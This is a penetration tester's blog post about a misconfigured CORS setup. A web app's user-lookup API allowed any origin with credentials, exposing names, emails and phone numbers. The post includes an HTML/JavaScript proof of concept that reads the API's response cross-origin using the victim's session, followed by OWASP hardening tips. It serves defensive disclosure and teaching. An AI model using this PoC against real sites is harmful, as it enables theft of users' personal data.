A case of a misconfigured CORS implementation

During a recent penetration test I conducted against one of our client’s websites, I found an interesting case of a misconfigured CORS implementation that I would like to quickly showcase in this post.

From Wikipedia, cross-origin resource sharing (CORS) is a mechanism that allows restricted resources (e.g. fonts) on a web page to be requested from another domain outside the domain from which the resource originated. A web page may freely embed images, stylesheets, scripts, iframes, videos and some plugin content (such as Adobe Flash) from any other domain. However embedded web fonts and AJAX (XMLHttpRequest) requests have traditionally been limited to accessing the same domain as the parent web page (as per the same-origin security policy). Cross-domain AJAX requests are forbidden by default because of their ability to perform advanced requests (POST, PUT, DELETE and other types of HTTP requests, along with specifying custom HTTP headers) that introduce many cross-site scripting security issues. CORS defines a way in which a browser and server can interact to safely determine whether or not to allow the cross-origin request. It allows for more freedom and functionality than purely same-origin requests, but is more secure than simply allowing all cross-origin requests.

The web application that I covered during the penetration test was developed using the Symfony PHP framework, and required authentication to access its main features. Once a user was authenticated, it was possible to perform a number of actions, including use of a basic internal messaging system. The page where the messages were created required a number of fields such as the name of the user the message was directed to and the subject of the message. The “To” field implemented a typical AJAX call to retrieve a list of users whose names contained the characters typed in by the user. So for instance, when the user typed the character ‘A’ in that field, a request similar to the one shown below was automatically created in the background:

GET /api/users?=A

And as result of the request, a list of users containing the A character and some associated information was returned by the server in JSON format. This response was subsequently parsed and the user was given the option of choosing from the list of users generated.

[
    {
        name:”Laura”, 
        email:”[email protected]”,
        phone:”07777 777 777″
    }
        name:”Paul”,
        email:”[email protected]”,
        phone:”08888 888 888″
    }
    …
]

After playing around with the messaging system for a bit, I sent a request adding an “Origin” Header, similar to the one shown below, and which is the defining characteristic of cross-origin requests as defined by the CORS standard:

GET /api/users?=A
[…]
Cookie: SFSESSID=<value>
Origin: *
[…]

To my surprise, the server responded with the following headers:

HTTP/1.1 200 OK
[…]
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
[…]

The previous code snippet from the server response indicates that the “api” subfolder allows cross-origin requests from ANY server, and what makes it even worse, it will allow this even in the context of an authenticated user by sending their session cookies.
In practice, this means that an attacker could abuse this configuration to craft some malicious JavaScript code that would make a request to the previous page, and then read the response from the server. A quick proof of concept example using XMLHttpRequest is shown below:

<html>
<body>

<script>
var invocation = new XMLHttpRequest();
var url = ‘example.com/’;

function callOtherDomain(){
  if(invocation) {
    invocation.open(‘GET’, url, true);
    invocation.withCredentials = true;
    invocation.onreadystatechange = handler;
    invocation.send();
  }

function handler(){
  if (invocation.readyState == 4 && invocation.status == 200) {
        var myArr = JSON.parse(invocation.responseText);

                var out = “”;
                var i;
                for(i = 0; i < myArr.suggestions.length; i++) {
                        out += ‘ID:’ + myArr.suggestions[i].data + ‘ VALUE: ‘ + myArr.suggestions[i].value + ‘<br>’;
                }
                document.getElementById(“show”).innerHTML = out;
  }
}

}
</script>

Click button to make request to: https://example.com/
<br><br>
<input type=”button” onclick=”callOtherDomain();” value=”Click”>
<br><br>
<div id=”show”></div>
</body>
</html>

Although CORS can be very useful, its use carries some security implications that users should be aware of. A few tips on the use and configuration of CORS extracted from the OWASP website:

  • Ensure that URLs responding with Access-Control-Allow-Origin: * do not include any sensitive content or information that might aid attacker in further attacks. Use the Access-Control-Allow-Origin header only on chosen URLs that need to be accessed cross-domain. Don’t use the header for the whole domain.
  • Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks).
  • Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It’s still important for the server to perform usual CSRF prevention.
  • While the RFC recommends a pre-flight request with the OPTIONS verb, current implementations might not perform this request, so it’s important that “ordinary” (GET and POST) requests perform any access control necessary.
  • Don’t rely only on the Origin header for Access Control checks. Browsers always send this header in CORS requests, but it may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

Find out how we can help with your cyber challenge

Please enter your contact details using the form below for a free, no obligation, quote and we will get back to you as soon as possible. Alternatively, you can email us directly at [email protected]